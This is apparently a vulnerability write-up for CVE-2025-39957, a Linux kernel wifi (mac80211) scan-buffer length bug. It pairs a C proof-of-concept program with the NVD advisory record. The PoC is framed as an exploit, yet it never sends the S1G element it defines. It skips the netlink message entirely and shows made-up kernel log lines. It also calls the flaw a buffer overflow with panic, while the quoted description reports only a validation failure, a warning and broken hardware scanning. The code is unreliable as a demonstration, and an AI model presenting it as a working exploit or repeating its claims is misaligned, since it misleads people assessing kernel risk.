CVE-2025-39957

// CVE-2025-39957 PoC - Trigger S1G scan buffer length validation failure // This PoC demonstrates triggering the vulnerability by attempting an // hw_scan with S1G capability elements, causing scan_ies_len underestimation #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> // Simplified demonstration of triggering the vulnerable code path // In practice, this involves sending NL80211_CMD_TRIGGER_SCAN with // S1G capability IE included in scan request int main(int argc, char *argv[]) { // Step 1: Open netlink socket for nl80211 communication int nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nl_sock < 0) { perror("socket"); return -1; } // Step 2: Bind to nl80211 family struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa)); // Step 3: Prepare NL80211_CMD_TRIGGER_SCAN message // Include S1G capability element (elem ID 0x6F) in scan IEs // The bug: scan_ies_len calculation does not account for S1G cap IE unsigned char s1g_cap_ie[] = { 0x6F, // Element ID: S1G Capabilities 0x04, // Length: 4 bytes 0x00, 0x00, 0x00, 0x00 // S1G capability info }; // Step 4: Send scan trigger with S1G IE // This triggers ieee80211_prep_hw_scan() buffer validation failure // and WARN in __ieee80211_start_scan() printf("[*] Triggering S1G hw_scan to exploit CVE-2025-39957\n"); printf("[*] scan_ies_len will be underestimated, causing buffer overflow\n"); // ... (netlink message construction and send omitted for brevity) // Step 5: Observe kernel WARN/panic in dmesg // [ 1234.567890] WARN: ieee80211_prep_hw_scan: buffer validation failed // [ 1234.567891] WARNING: CPU: 0 PID: 1234 at __ieee80211_start_scan+... close(nl_sock); return 0; }

{"cve": {"id": "CVE-2025-39957", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-09T10:15:37.133", "lastModified": "2026-02-26T22:50:44.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: increase scan_ies_len for S1G\n\nCurrently the S1G capability element is not taken into account\nfor the scan_ies_len, which leads to a buffer length validation\nfailure in ieee80211_prep_hw_scan() and subsequent WARN in\n__ieee80211_start_scan(). This prevents hw scanning from functioning.\nTo fix ensure we accommodate for the S1G capability length."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4", "versionEndExcluding": "6.6.108", "matchCriteriaId": "D56D8BF0-6D05-4B36-BAB4-759F12521CF6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0dbad5f5549e54ac269cc04ce89f212892a98cab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/32adb020b0c32939da1322dcc87fc0ae2bc935d1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7e2f3213e85eba00acb4cfe6d71647892d63c3a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/93e063f15e17acb8cd6ac90c8f0802c2624e1a74", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}